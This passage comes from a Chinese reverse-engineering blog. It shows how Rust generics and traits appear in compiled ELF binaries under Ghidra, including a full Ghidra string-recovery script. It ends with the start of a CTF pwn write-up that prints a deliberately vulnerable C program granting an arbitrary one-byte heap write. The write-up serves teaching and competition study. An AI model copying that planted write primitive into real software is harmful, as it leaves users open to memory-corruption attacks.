    let number_list = vec![34, 50, 25, 100, 65];
    let result = largest(&number_list);
    println!("The largest number is {}", result);
    let char_list = vec!['y', 'm', 'a', 'q'];
    let result = largest(&char_list);
    println!("The largest char is {}", result);
}

上面这个示例是典型的泛型使用示例，这里是将泛型应用于函数参数与返回值中。

这里使用Rust 1.80.1版本以Debug配置进行编译，使用Ghidra进行反汇编。

可以看到，Rust对于泛型的处理和其他语言似乎是差不多的，在main函数中，调用了2次largest函数，泛型参数类型分别为i32和char，因此这里Rust就生成了2个largest函数，在name mangling（参考资料）中看不出来两个函数的泛型参数，但是通过Hash值可知两个函数不同。

但是Ghidra却能够神奇地识别出来这两个函数哪个将泛型实现为char，哪个为i32。这又是如何做到的呢？

通过将Rust程序以release配置编译后发现，在release版本下，Ghidra已经无法识别函数的泛型类型，而是直接使用空来代替了（<>）。也就是说，Ghidra对于Rust泛型函数中泛型参数的识别必然是通过调试数据完成的。

在Rust ELF中，debug配置输出的ELF文件较release多了很多的节，这些节大多以debug开头，其中保存有一些调试信息。

其中最长的一个节是用于保存调试字符串的.debug.str节。在其他debug节中基本只能找到一些地址值，推测Ghidra可以通过这些节的数据找到想要的调试字符串，随后得到泛型参数信息。

.debug_str节包含的字符串数量实在太多，Ghidra还没有添加任何符号，因此我编写了一个Ghidra脚本识别其中的所有字符串并将其全部设置为String类型。（Ghidra脚本在本文最后附上）

然后就让我发现了：

这些字符串的排列还非常地整齐，能够进行完美的对应。由此，我们自己也可以识别出Rust中的泛型类型了。不过如果获取的ELF是release版本（未stripped），我们就无从得知这里的信息了，但依然可以通过函数名进行推断。由于Rust不允许C++/Java那样的同名不同参数类型函数重载，因此如果我们发现有多个函数除Hash值之外函数名完全相同，那么即可推断出这些函数一定是由一个泛型函数衍生而来。而且，这些函数中除了泛型类型不同之外其他内容完全相同，通过比较这些函数的差异，我们不仅能够知道泛型参数被用于何处，还能够分别识别出这些函数中实现的泛型参数。

下面我们尝试分析一下其中的一个函数：largest<i32>。

Reverse for largest<i32>

首先通过对main函数的逆向，我们可以知道这个函数的传入参数类型。Ghidra专门定义了一个Rust的函数调用规则，称为__rustcall，用于标识Rust那种以两个参数作为返回值的函数调用规则。

该函数的参数由2个参数传递，共同标识一个&[i32]类型，这里判断不是Vec[i32]或者其他数组类型的原因是2个寄存器是切片类型传递所需要的，一个表示指针，另一个表示长度，和&str相同。

Part 1

一开始，这里Ghidra的汇编给的有问题，虽然已经识别了2个寄存器共同表示切片，但是寄存器对应关系出现了错误。这里应该是将切片数据复制2份分别保存到[rsp+0x50]和[rsp+0x10]。随后对切片的长度进行了验证，后面的JNC是跳转到panic相关操作的，这里略过。

Part 2

随后，注意0x108f79的指令，这里将rdi的值保存到了[rsp+0x40]中，实际上是对应了源码中的let mut largest: &T = &list[0];。对于&list[0]，由于list[0]指向的是第一个元素，因此地址就等于切片中保存的地址，所以就可以直接取这个地址保存作为&list[0]。后面的迭代过程与第5篇blog中分析的相同。

Part 3

这里上半部分是对Option<i32>的解析，判断迭代是否到达终点。下面[rsp+0x20]是对Option<i32>中i32值的提取，随后进行比较，这里比较使用的是core::cmp::impls::gt<i32,_i32>，即对i32内置类型实现的大于比较，因为这个函数对于泛型要求使用PartialOrd Trait，因此这里可以使用gt。

通过对泛型函数内调用的函数的分析，我们可以逆向出该函数泛型类型需要实现的Trait。

Generics in Structs

1
2
3
4
5
6
7
8
9
10
11
12

struct Point<T> {
    x: T,
    y: T,
}

fn main() {
    let integer = Point { x: 5, y: 10 };
    let float = Point { x: 1.0, y: 4.0 };

    println!("({}, {})", integer.x, integer.y);
    println!("({}, {})", float.x, float.y);
}

同样地，我们能够在.debug_str节中找到对应的字符串定义：

不过这个定义与代码段的联系并不紧密，但好在Ghidra还是能够成功地完成识别，甚至连结构体的内容、局部变量的名称都能够获取：

这些信息当然就不可能是.debug_str节中能够获取的了，可能是保存到了其他的debug节，但具体的操作细节仍未可知，不敢妄下断言。另外，注意到Ghidra没有办法将局部变量对应到正确的栈偏移，因此对于局部变量与栈偏移的对应关系，还需要我们自己通过逆向分析确定。

Reverse for Trait

Trait实现

在Rust中，伴随泛型而存在的往往是各种各样的Trait，从功能上面来看，它类似于Java的interface，是需要被实现的某种“接口”，有了这个接口，Struct就能够完成一类操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

pub trait Summary {
    fn summarize(&self) -> String;
}

pub struct NewsArticle {
    pub headline: String,
    pub location: String,
    pub author: String,
    pub content: String,
}

impl Summary for NewsArticle {
    fn summarize(&self) -> String {
        format!("{}, by {} ({})", self.headline, self.author, self.location)
    }
}

fn main() {
    let na = NewsArticle {
        headline: "BBC".to_string(),
        location: "England".to_string(),
        author: "NA".to_string(),
        content: "NA".to_string(),
    };
    println!("{}", na.summarize());
}

上面的Rust编译得到的debug文件中，我们只需要关注一个东西即可——实现Trait的方法名。有关于Struct的相关分析在前面的文章中已经提及。

1

_ZN55_$LT$lab_04..NewsArticle$u20$as$u20$lab_04..Summary$GT$9summarize17hc6d5c31e0731e854E

转义完成后就变成了：

1

<lab_04::NewsArticle as lab_04::Summary> summarize

尖括号里面左边是Struct名，右边是Trait名，最后是Trait中的方法名。因此这个函数名完全可以让我们还原出它的原貌。另外需要注意这个函数的参数类型。它的返回值是作为一个指针以第一个参数传递的，第二个参数则是Struct实例本身的指针，这种传参方式和__thiscall比较像，不过是在前面加上了返回值的传参。

默认Trait

另外，Rust支持实现默认的Trait方法，经过尝试发现，如果一个Struct实现了默认的Trait方法，即在impl块中啥都不写，在ELF中就会为这个Struct生成一个函数，这个函数的this指针类型为该Struct。如果有多个Struct都实现了默认Trait方法，就会生成多个这样的函数，这些函数在命名上除了Hash值不同之外其他相同：

1
2

_ZN6lab_047Summary9summarize17h2b64b82f1eb531e6E
_ZN6lab_047Summary9summarize17h00d706f563e0ebb6E

转义之后为：

1

lab_04::Summary::summarize

仅提供Trait名与方法名。

Trait作为参数

经过试验发现，Trait作为参数时，与函数加入泛型有着类似的处理方式。实际上，下面两种写法在语义上本来就是类似的：

1
2
3
4
5
6
7

pub fn notify(item: impl Summary) {
    println!("Breaking news! {}", item.summarize());
}

pub fn notify<T: Summary>(item: T) {
    println!("Breaking news! {}", item.summarize());
}

不过有一点不同的是，带有泛型的函数（第二种写法）在调试信息中可以找到函数实现的泛型类型（表现为notify<xxx>(xxx item)），但是第一种写法只能给出具体的类型（表现为notify(xxx item)）。在用法上，这两种写法有微小区别。如果参数有多个我们就能看出区别：

1
2
3
4
5
6
7
8
9
10
11

pub fn notify(item1: impl Summary, item2: impl Summary) {
    ...
}

pub fn notify<T: Summary, U: Summary>(item1: T, item2: U) {
    ...
}

pub fn notify<T: Summary>(item1: T, item2: T) {
    ...
}

上面3种写法，前两种语义相同，但第一种与第三种语义不同，第三种强制两个参数必须为同一个类型。在汇编层实现上，对于第一种写法，如果一共有n个Struct实现了Summary，那么最多要实现n²个函数，用于表示n²种不同的两个参数类型组合。

在原书中还提到了有条件实现方法等Trait的使用方式，但无论如何，Rust编译器都需要对每一种不同参数的函数/方法/Struct使用分别实现函数/方法/Struct。另外还有将impl类型作为返回值的说明，这部分留到分析原书第17章相关内容时再去研究。

总结

本文简单分析了泛型以及Trait在汇编层的表现：

• 带有泛型参数的函数对于每一种不同类型的参数传递操作都会实现一个单独的函数处理。
• 带有泛型的结构在实现中直接针对具体的类型分别实现。
• Ghidra能够从带有调试信息的Rust ELF中获取函数实现的泛型类型。
• 实现了Trait的Struct的对应方法能够通过函数名识别。
• 实现了默认Trait的Struct的对应方法只能根据参数类型推断具体实现的Struct。
• 如果有同名函数（不比较Hash）存在，由两种可能——带有泛型的函数与实现了默认Trait的Struct方法，如果有调试信息，则能够获取泛型类型的为前者，否则为后者。

字符串恢复脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289

// This is a Ghidra script for adding string literals that may not be recognized by Ghidra.
//
// Usage:
// Before the script process, you need to notice the JSON file including necessary information. It's automatically
// saved in "<HOMEDIR>/.ghidra_scripts/ShortStringAdder.json".
//
// The JSON file needs to be deserialized into `ConfigReader` class, here is its format:
//
// {
//   "minimum_string_length": 3,
//   "maximum_search_range": 256,   // 0 represents no check for adjacent strings
//   "separators": [0],
//   "extra_regex": ["\u001b\\[([0-9]+;)*([0-9]+)m([\\x20-\\x7e]|\\t|\\n|\\r|(\u001b\\[([0-9]+;)*([0-9]+)m))*"]
// }
//
// - minimum_string_length: The minimum length of string that will be recognized and added.
// - maximum_search_range: We will search if there exist other strings frontward and backward, it's the maximum range.
// - separators: The separators of string literal. In some programming language (like rust), string literals might
//               not end with "\0". You can add ascii integer value here to add separators.
// - extra_regex: some regex strings that you may want to define them as strings (even if they may have some unprintable
//                chars), like UNIX color control (Added by default).
//
//@author Hornos - Hornos3.github.com, hornos@hust.edu.cn
//@category Strings

import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import ghidra.app.plugin.core.searchmem.RegExSearchData;
import ghidra.app.script.GhidraScript;
import ghidra.program.model.address.*;
import ghidra.program.model.data.DataType;
import ghidra.program.model.data.StringDataType;
import ghidra.program.model.listing.Data;
import ghidra.program.model.mem.Memory;
import ghidra.program.model.mem.MemoryAccessException;
import ghidra.program.model.util.CodeUnitInsertionException;
import ghidra.util.datastruct.ListAccumulator;
import ghidra.util.search.memory.MemSearchResult;
import ghidra.util.search.memory.RegExMemSearcherAlgorithm;
import ghidra.util.search.memory.SearchInfo;

import java.io.*;
import java.util.*;

import static ghidra.program.model.listing.CodeUnit.EOL_COMMENT;

public class ShortStringAdder extends GhidraScript {
    static class ConfigReader {
        int minimum_string_length;
        int maximum_search_range;
        HashSet<Byte> separators;
        ArrayList<String> extra_regex;

        public static ConfigReader from_json(String filename)
                throws FileNotFoundException, com.google.gson.JsonSyntaxException, com.google.gson.JsonIOException {
            GsonBuilder builder = new GsonBuilder();
            Gson gson = builder.create();

            FileReader file = new FileReader(filename);
            return gson.fromJson(file, ConfigReader.class);
        }
    }

    ConfigReader config;
    private final String homedir = System.getProperty("user.home");

    @Override
    protected void run() throws Exception {
        read_config();

        Memory mem = currentProgram.getMemory();
        AddressSetView addrs = mem.getAllInitializedAddressSet();
        long numAddr = addrs.getNumAddresses();
        long counter = 0;
        int progress_percent = 0;
        printf("Address size: %#x\n", numAddr);

        TreeMap<Address, String> string_map = new TreeMap<>();
        // check all addresses
        for (Address addr : addrs.getAddresses(true)) {
            counter++;
            if (counter * 100 / numAddr > progress_percent)
                printf("Progress: %d%%\n", ++progress_percent);

            String created = create_string(addr);
            if ( created == null )
                continue;

            string_map.put(addr, created);
        }

        // match all regexes
        TreeMap<String, TreeMap<Address, String>> regexMatches = match_regex();
        print_regex_match_results(regexMatches);
        string_map.putAll(merge_regex_result(regexMatches));

        Vector<Address> errorAddrs = new Vector<>();

        for(Map.Entry<Address, String> entry: string_map.entrySet()) {
            String created = entry.getValue();
            Address addr = entry.getKey();
            DataType dt = new StringDataType();

            if (!has_adjacent_strings(addr)) {
                printf("Address %#x (%s) has no adjacent string, skipped\n", addr.getOffset(), created);
                continue;
            }

            try {
                currentProgram.getListing().createData(addr, dt);
                printf("Created a string \"%s\" at %#x.\n", created, addr.getOffset());
                currentProgram.getListing().setComment(addr, EOL_COMMENT, "Script-added string literal");
            } catch (CodeUnitInsertionException e) {
                printf("Error while adding string at %#x, skipped.\n", addr.getOffset());
                errorAddrs.add(addr);
                e.printStackTrace();
            }
        }

        if (errorAddrs.isEmpty())
            printf("\n0 exception occurred0.\n");
        else {
            printf("\n%d exception occurred, you may need to handle it manually.\n", errorAddrs.size());
            println("At: ");
            for (Address errorAddr : errorAddrs) printf("%#x\n", errorAddr.getOffset());
        }
        println();
    }

    private void read_config() throws Exception {
        String filepath = homedir + "/.ghidra_scripts/ShortStringAdder.json";
        File dir = new File(homedir + "/.ghidra_scripts");
        File file = new File(filepath);

        // check if the dir exists, if not, create it
        if (!dir.exists()) {
            println("[-] ~/.ghidra_scripts not found, will create...");
            if (!dir.mkdirs()) {
                println("[!] Failed to create ~/.ghidra_scripts");
                return;
            }
        }

        // check if the file exists, if not, create it
        if (!file.exists()) {
            println("[-] ~/.ghidra_scripts/config.json not found, will create...");
            try (FileWriter writer = new FileWriter(file)) {
                // default configs, the regex is for UNIX color control (like \033[1;31m...\033[0m)
                writer.write("{\n" +
                        "  \"minimum_string_length\": 3,\n" +
                        "  \"maximum_search_range\": 255,\n" +
                        "  \"separators\": [0],\n" +
                        "  \"extra_regex\": [\"\\u001b\\\\[([0-9]+;)*([0-9]+)m([\\\\x20-\\\\x7e]|\\\\t|\\\\n|\\\\r|(\\u001b\\\\[([0-9]+;)*([0-9]+)m))*\"]\n" +
                        "}");
                println("[-] Default config created, you can change it in ~/.ghidra_scripts/ShortStringAdder.json.");
            } catch (IOException e) {
                println("[!] Failed to create ~/.ghidra_scripts/ShortStringAdder.json: " + e.getMessage());
                throw new Exception("Create config file failed");
            }
        }

        this.config = ConfigReader.from_json(filepath);
    }

    private String create_string(Address addr) {
        StringBuilder ret = new StringBuilder();

        if (currentProgram.getListing().getDataContaining(addr) != null) {
            if (currentProgram.getListing().getDataContaining(addr).isDefined())
                return null;
        }
        if (currentProgram.getListing().getInstructionContaining(addr) != null) {
            // TODO: get strings wrongly identified as codes
            return null;
        }

        try {
            if (currentProgram.getMemory().contains(addr.subtract(1))){
                byte previous_byte = currentProgram.getMemory().getByte(addr.subtract(1));
                if (!this.config.separators.contains(previous_byte))
                    return null;
            }
        } catch (MemoryAccessException e) {
            printf("Failed to read byte located in %#x\n", addr.subtract(1).getOffset());
            e.printStackTrace();
            return null;
        } catch (AddressOutOfBoundsException ignored) {}

        Address ptr = addr;
        int offset = 0;
        while (true) {
            try {
                ptr = addr.add(offset);
                byte b = currentProgram.getMemory().getByte(ptr);
                // all printable character (including \t, \n, \r), if conflicted with separators, the latter is dominant
                if (((b >= 0x20 && b <= 0x7e) || b == 9 || b == 10 || b == 0xd) &&
                        !this.config.separators.contains(b)) {
                    ret.append((char) (b & 0xff));
                    offset++;
                }
                else if (!this.config.separators.contains(b))   // It ends with neither a printable nor a separator
                    return null;
                else
                    break;
            } catch (MemoryAccessException e) {
                printf("Failed to read byte located in %#x\n", ptr.getOffset());
                e.printStackTrace();
                return null;
            }
        }

        if (offset >= config.minimum_string_length)
            return ret.toString();
        return null;
    }

    private TreeMap<String, TreeMap<Address, String>> match_regex() throws MemoryAccessException {
        TreeMap<String, TreeMap<Address, String>> resultMap = new TreeMap<>();
        for (String re: config.extra_regex) {
            TreeMap<Address, String> result = new TreeMap<>();
            println("Start matching regular expression: " + re);

            SearchInfo searchInfo = new SearchInfo(
                    new RegExSearchData(re), 10000, false, true, 1, true, null);
            RegExMemSearcherAlgorithm searcher = new RegExMemSearcherAlgorithm(
                    searchInfo, currentProgram.getMemory().getAllInitializedAddressSet(), currentProgram, true);
            ListAccumulator<MemSearchResult> searchResults = new ListAccumulator<>();
            searcher.search(searchResults, monitor);
            List<MemSearchResult> resultList = searchResults.asList();

            for (MemSearchResult r: resultList) {
                Address startAddr = r.getAddress();
                int matchLen = r.getLength();
                byte[] matchedBytes = new byte[matchLen];
                currentProgram.getMemory().getBytes(startAddr, matchedBytes);
                String matchedString = new String(matchedBytes);
                result.put(startAddr, matchedString);
            }

            resultMap.put(re, result);
        }
        return resultMap;
    }

    private TreeMap<Address, String> merge_regex_result(TreeMap<String, TreeMap<Address, String>> results) {
        // This method is used for selecting the primary matches while discarding overlapping matches
        // E.g. There are 3 matches at 0x0~0x10, 0x9~0x15, 0x12~0x20, then the second one will be discarded.
        TreeMap<Address, String> ret = new TreeMap<>();
        for (Map.Entry<String, TreeMap<Address, String>> entry: results.entrySet())
            ret.putAll(entry.getValue());

        // eliminate overlapping matches
        long largestRangeUpperLimit = -1;
        Iterator<Map.Entry<Address, String>> iter = ret.entrySet().iterator();
        while (iter.hasNext()) {
            Map.Entry<Address, String> entry = iter.next();
            if (entry.getKey().getOffset() + entry.getValue().length() > largestRangeUpperLimit)
                largestRangeUpperLimit = entry.getKey().getOffset() + entry.getValue().length();
            else {
                printf("Warning: %s (at %#x) removed due to overlapping memory address.\n",
                        entry.getValue(), entry.getKey().getOffset());
                iter.remove();
            }
        }

        return ret;
    }

    private void print_regex_match_results(TreeMap<String, TreeMap<Address, String>> result) {
        printf("\nMatch result:\n");
        for (Map.Entry<String, TreeMap<Address, String>> entry: result.entrySet()) {
            printf("%s:\n", entry.getKey());
            if (entry.getValue().entrySet().isEmpty()) {
                printf("\tNo matches.\n");
                continue;
            }
            for (Map.Entry<Address, String> m: entry.getValue().entrySet())
                printf("\t%#x: %s\n", m.getKey().getOffset(), m.getValue());
        }
    }

    private boolean has_adjacent_strings(Address addr) {
        Data rearData = currentProgram.getListing().getDataBefore(addr);
        Data frontData = currentProgram.getListing().getDataAfter(addr);
        return (rearData != null && addr.subtract(rearData.getAddress()) <= this.config.maximum_search_range) ||
                (frontData != null &&
                        frontData.getAddress().subtract(addr) <= this.config.maximum_search_range);
    }
}

2024年的巅峰极客可以说是强Web组的大福利，除了Web其他类型居然各自只有1道题，令人困惑。在pwn方向只有一道题，但这道题质量比较高，涉及的利用链比较复杂，虽然在现实应用中基本不可能用到，但还是值得学习一番。

幸运的是，在网上找到了讲解此类利用方式的blog，其中使用的示例与本题完全相同：传送门。下面的分析主要参考上面的blog。

A. 题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stddef.h>

char* chunk = NULL;

void __attribute__((constructor)) nightmare()
{
    if (!chunk)
        chunk = malloc(0x40000);
    uint8_t byte = 0;
    size_t offset = 0;

    read(0, &offset, sizeof(size_t));
    read(0, &byte, sizeof(uint8_t));

    chunk[offset] = byte;

    write(1, "BORN TO WRITE WORLD IS A CHUNK 鬼神 LSB Em All 1972 I am mov man 410,757,864,530 CORRUPTED POINTERS", 101);
    _Exit(0);
}

int main()
{
    _Exit(0);
}

这是blog中提到的源码（删除了seccomp，原题并无沙箱），与本题的源码除了write的字符串之外其他没有任何不同。__attribute__((constructor))是C语言的一个特性，被该特性所修饰的函数能够在main函数之前执行。在二进制文件中，可以观察到这个函数是通过init调用的。

在nightmare函数的开始，程序分配了一个0x40000的大chunk。对于此类chunk，Glibc通常都是通过调用mmap实现分配的，且第一个分配的此类chunk应正好位于Glibc加载地址的低地址处。需要注意这个chunk的分配地址特点，这是我们完成利用的前提条件之一。

随后，我们可以输入offset与byte，程序以chunk为基地址，offset为偏移，能够实现一个字节的写入。随后输出一个字符串后调用_Exit退出。